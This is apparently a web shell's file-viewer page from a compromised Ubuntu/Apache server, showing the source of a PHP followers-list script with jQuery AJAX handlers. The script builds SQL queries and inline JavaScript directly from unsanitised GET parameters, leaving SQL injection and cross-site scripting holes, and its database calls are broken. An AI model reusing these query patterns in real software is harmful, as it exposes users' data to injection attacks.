( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/../tmpr/../tmpr/../tmpr/../tmpr/../tmpr/..//real/service2/followers.php
<?php
include("config/protect.php");
  include('../../const.inc.php');
 include('../../Connections/videoondemand.php');   
include("config/limittext.php");
require("config/DbSql.inc.php");
require("config/NewsSql.inc.php");
$db = new NewsSQL($DBName);  
include_once 'social/includes/db.php';
include_once 'social/includes/Wall_Updates.php';
include_once 'social/session.php';
$Wall = new Wall_Updates();


$homecataresult = $db->getchildcatalog(0);
$getfeaturedc = $db->getfeaturedchannel(0);
$homelatestresult = $db->getlatestonhome($front_latestonhomerecord);



$picturepath = "./v/uploads/gthumbs/";

$db->delilike($id);
$db->derecomm($newsid);

if (($topicid >=1)){
  $db->addlike($topicid,$image,$video,$topic,$category,$site,$address);
}
$pre[0] = $newsid-1;

for ($i=1; $i<=$prenumber-1; $i++){
$pre[$i] = $pre[$i-1]-1;
}

$next[0] = $newsid+1;

for ($i=1; $i<=$nextnumber-1; $i++){
$next[$i] = $next[$i-1]+1;
}
 
if($_GET['page'])
{
	
	 $me = $_GET['who'] ;
	$profile = $_GET['profile'] ;
	$catalogidX= $_GET['profile'] ;
	$catalogid5= $_GET['who'] ;
	$multi = $_GET['page'] ;
	$extract = explode("-",$multi);
$channel= $extract[0];

 
$page= $extract[1];

$cur_page = $page;
 
 if($page == 0)
{
	$per_page = 12;
}
else
{
	$per_page = 12;
}
 $previous_btn = true;
$next_btn = true;
$first_btn = true;
$last_btn = true;
$startRow_Latest = $page * $per_page;
 
$query_pag_data = "SELECT * from friends where friend_one=$profile and role='fri'   ORDER BY rate DESC LIMIT $startRow_Latest, $per_page";
 //$query_pag_data = "SELECT * FROM  `usercontent` where isdisplay=1 and catalogid=$channel order by newsid desc LIMIT $startRow_Latest, $per_page";
  
$result_pag_data = mysqli_query($query_pag_data) or die('MySql Error' . mysql_error());
$msg = ""; /* --------------------------------------------- */
 $query_pag_num = "SELECT COUNT(*) AS count FROM  `friends` where friend_one=$profile and role='fri'";
$result_pag_num = mysqli_query($query_pag_num);

$row_Latest = mysql_fetch_array($result_pag_num);


$count = $row_Latest['count'];
$no_of_paginations = ceil($count / $per_page)-1;

/* ---------------Calculating the starting and endign values for the loop----------------------------------- */
if ($cur_page >= 7) {
    $startRow_Latest_loop = $cur_page - 3;
    if ($no_of_paginations > $cur_page + 3)
        $end_loop = $cur_page + 3;
    else if ($cur_page <= $no_of_paginations && $cur_page > $no_of_paginations - 6) {
        $startRow_Latest_loop = $no_of_paginations - 6;
        $end_loop = $no_of_paginations;
    } else {
        $end_loop = $no_of_paginations;
    }
} else {
    $startRow_Latest_loop = 1;
    if ($no_of_paginations > 7)
        $end_loop = 7;
    else
        $end_loop = $no_of_paginations;
}
/* ----------------------------------------------------------------------------------------------------------- */



	$cur_pageX =$cur_page+1;

 ?>

 
<script type="text/javascript">
<?php if($who != $profile)
{?>
	
	$(".love").click(function() {
      
	  
	  var ID = $(this).attr("id");
	var whose = $('.whose').attr("id");	

		$(".love"+ ID).fadeIn(400).html('<img src="images/hearta.png" />');
 
		$.ajax({  
		type: "GET",  
		url: "<?php echo $siteaddress ?>service/account/account.php?myaccount=<?php echo $me ?>&whose=<?php echo $profile ?>",  
		data: { picID: ID,  mode: "love"},  
		success: function(theResponse) {
		 	
			
			$(".love" + ID).fadeIn(400).html('<img src="images/heartb.png"   alt="next" />'+theResponse);

			
		}  
		});  
		
	});
	 
	 
<?php }?>

 

				 function loadingIn()
  {
   $('.dialog-background').css('display','block')  ;
  $('.dialog-background').fadeIn('slow');
  }
  function loadingOut()
  {
   $('.dialog-background').css('display','none')  ;
   $('.dialog-background').fadeOut('slow');
  } 



// close photo preview block
function closePhoto3Preview() {
    $('#photo_preview3').hide();
    $('#photo_preview3 .pleft').html('empty');
    $('#photo_preview3 .pright').html('empty');
};

// display photo preview block
function getPhoto3PreviewAjx(id) {
	
loading_show();
	
    $.post('<?php echo $siteaddress ?>/service/caption_ajx.php?who=<?php echo $who; ?>&isdisplay=5', {action: 'get_info', id: id},
        function(data){
                $('#photo_preview3 .pleft').html(data.data1);
				   var form = $("#captionForm");
				  $("#description", form).val(data.data2);
					 $("#tags", form).val(data.data3);	
	          	$("#msg_id", form).val(data.data4);
			
			$("#picha", form).val(data.data5);
			
			
			
         $('#photo_preview3').show();
        }, "json"
	  );
	loading_hide();
	  
};


// init
$(function(){

    // onclick event handlers
    $('#photo_preview3 .photo_wrp').click(function (event) {
        event.preventDefault();

        return false;
    });
 
    $('#photo_preview3 img.close').click(function (event) {
        closePhoto3Preview();
    });

    // display photo preview ajaxy
    $('.photo3 img').click(function (event) {
        if (event.preventDefault) event.preventDefault();
		
		$('#photo_preview').hide();
    $('#photo_preview .pleft').html('empty');
    $('#photo_preview .pright').html('empty')

        getPhoto3PreviewAjx($(this).attr('id'));
		
		
		
		
		
		
		
		
		
		
		
    });
})
 

</script> 
<script type="text/javascript">
// close photo preview block
function closePhoto2Preview() {
    $('#photo_preview').hide();
    $('#photo_preview .pleft').html('empty');
    $('#photo_preview .pright').html('empty');
};

// display photo preview block
function getPhoto2PreviewAjx(id) {
	
loadingIn(); 
	
    $.post('<?php echo $siteaddress ?>/service/profile_ajx2.php?myaccount=<?php echo $me ?>&who=<?php echo $profile; ?>&isdisplay=5', {action: 'get_info', id: id},
        function(data){
            $('#photo_preview .pleft').html(data.data1);
			
			
			
			  var form = $("#captionMain");
				  $("#description", form).val(data.data3);
					 $("#tags", form).val(data.data8);	
	          	$("#msg_id", form).val(data.data12);
			$("#picha", form).val(data.data13);
			
				   $('#photo_preview .next').html(data.data10);
						  $('#photo_preview .previous').html(data.data11);
			
      /*      $('#photo_preview .pright').html(data.data2);
	
			 	 $('#photo_preview .pdescription').html(data.data4);
				 	 $('#photo_preview .pdate').html(data.data5);
					  $('#photo_preview .pyanani').html(data.data6);
				
					    $('#photo_preview .pepisode').html(data.data8);
						  $('#photo_preview .pcomments').html(data.data9);*/
					
						  
						  
            $('#photo_preview').show();
        }, "json"
    );
	
	 loadingOut(); 
};

// submit comment
function submitComment(id) {
    var sName = $('#name').val();
    var sText = $('#text').val();

    if (sName && sText) {
        $.post('<?php echo $slugX ?> ', { action: 'accept_comment', name: sName, text: sText, id: id }, 
            function(data){ 
                if (data != '1') {
                    $('#comments_list').fadeOut(1000, function () { 
                        $(this).html(data);
                        $(this).fadeIn(1000); 
                    }); 
                } else {
                    $('#comments_warning2').fadeIn(1000, function () { 
                        $(this).fadeOut(1000); 
                    }); 
                }
            }
        );
    } else {
        $('#comments_warning1').fadeIn(1000, function () { 
            $(this).fadeOut(1000); 
        }); 
    }
};

// init
$(function(){

    // onclick event handlers
    $('#photo_preview .photo_wrp').click(function (event) {
        event.preventDefault();

        return false;
    });
   /* $('#photo_preview').click(function (event) {
        closePhoto2Preview();
    });*/
    $('#photo_preview img.close').click(function (event) {
        closePhoto2Preview();
    });

    // display photo preview ajaxy
    $('.photo2 img').click(function (event) {
        if (event.preventDefault) event.preventDefault();
		
			$('#photo_preview3').hide();
    $('#photo_preview3 .pleft').html('empty');
    $('#photo_preview3 .pright').html('empty')

        getPhoto2PreviewAjx($(this).attr('id'));
    });
})
 

</script> 


<script type="text/javascript">

// display photo preview block
function getPhoto5PreviewAjx(id) {
	
loadingIn(); 
	
    $.post('<?php echo $siteaddress ?>/service/account_ajx.php?who=<?php echo $who; ?>&isdisplay=5', {action: 'get_info', id: id},
        function(data){
                
				   var form = $("#userMain");
				  $("#name", form).val(data.name);
				 $("#email", form).val(data.email);
				 $("#tel", form).val(data.tel);
			
			
        }, "json"
	  );
	 loadingOut();  
	  
};




// close photo preview block
function closePhoto4Preview() {
    $('#photo_preview4').hide();
   
};

// display photo preview block
function getPhoto4PreviewAjx(id) {
	
loadingIn(); 
	
    $.post('<?php echo $siteaddress ?>/service/account_ajx.php?who=<?php echo $who; ?>&isdisplay=5', {action: 'get_info', id: id},
        function(data){
                
				   var form = $("#updateForm");
				  $("#name", form).val(data.name);
				 $("#email", form).val(data.email);
				 $("#tel", form).val(data.tel);
				$("#catalogname", form).val(data.catalogname);
			$("#description", form).val(data.description);
			
         $('#photo_preview4').show();
        }, "json"
	  );
	 loadingOut();  
	  
};


// init
$(function(){

    // onclick event handlers
    $('#photo_preview4 .photo_wrp').click(function (event) {
        event.preventDefault();

        return false;
    });
 
    $('#photo_preview4 .close').click(function (event) {
        closePhoto4Preview();
    });

    // display photo preview ajaxy
    $('.photo4').click(function (event) {
        if (event.preventDefault) event.preventDefault();
		
		$('#photo_preview').hide();
 $('#photo_preview3').hide();
        getPhoto4PreviewAjx($(this).attr('id'));
			
		
    });
})
 
</script>

 
  <?php if($count!=0) {  ?>
 

  <table border="0" width="100%" class='paginationReportaM animated fadeIn' cellpadding="0" cellspacing="0"  height="40"style=" background-image:url(images/newprofile.png); background-position:left; background-position:top; background-repeat:no-repeat " >
     <tr>
		<td width="190"  height="40">
			<img src="images/followers.png"   height="55" alt=""></td>
		<td width="100%"  height="40">
			</td>
		

  
   
<!--   
    <td width="54"  height="40" >
			<img src="images/buttons2_03.png" width="54"  height="55" alt=""></td>-->
  
   <td width="54"  height="40" align="right" >
<?php

if ($previous_btn && $cur_page > 0) {
   $pre = $cur_page - 1;?>			
   
<span p='<?php echo $pre ?>' class='active' >'<img src="images/app_09.png" width="54"  height="55" alt=""></span> 
<?php } else if ($previous_btn) {?>
    <span class='inactive'><?php /*?><img src="images/app_09.png" width="54"  height="55" alt=""><?php */?></span> 
<?php }?>


</td>

<td width="53"  height="40" ><?php 

// TO ENABLE THE NEXT BUTTON
if ($next_btn && $cur_page < $no_of_paginations) {
    $nex = $cur_page + 1;?>
 <span p='<?php echo $nex ?>' class='active' ><?php /*?><img src='images/app_10.png' width='53' height='55' ><?php */?></span> 
<?php } else if ($next_btn) {?>
<span class='inactive'><?php /*?><img src='images/app_10.png' width='53' height='55' ><?php */?></span>
  
<?php }?>

</td>
	</tr>
     </table >


  <?php
 

while ($row_Latest = mysql_fetch_array($result_pag_data)) {
	  $catalogidX = $row_Latest['friend_two'];
	  $pix=$Wall->Profile_Pic($row_Latest['friend_two']);
	$pix = 	"/v/uploads/gthumbs/$pix";
	$user_name = $Wall->Profile_User($catalogidX,"user_name");
	$description = $Wall->Profile_User($catalogidX,"description");
	if(empty($description)){$description ="$user_name profile on Startag";} 
	?>







  <section class="panel clearfix "  id="cfollow-<?php print "$catalogidX"; ?>" style="opacity:0.9;filter:alpha(opacity=90); margin-bottom:12px; margin-top:0px;-webkit-border-radius :5px;border-radius : 5px; margin:10px">



    <div class="panel-body ">
    
    <a href="#"  onclick="loadPage(0,<?php echo $catalogidX ?>,'service/profile2.php');  return false; " class="thumb-sm pull-left m-r">  <img width="40"  class="pull-left img-circle  m-r "  src="<?php echo $siteaddress3 ?>taswira.php?nocache&width=60&height=60&cropratio=1:1&image=<?php echo $pix ?>"></a>
   
    <?php 
 
  include("social/notifications/followbackmobile.php"); ?>
 
    
    
 
    
      <div class="clear"> <a  onclick="loadPage(0,<?php echo $catalogidX ?>,'service/profile2.php');  return false; " class="text-info">*<?php echo $Wall->Profile_User($catalogidX,"user_name") ?> </a> <small class="block text-muted" style=" font-size:12px"><?php echo $description;?> </small></div>
    </div>
  </section>














  <?php
 

}



}?>

 <?php }  ?>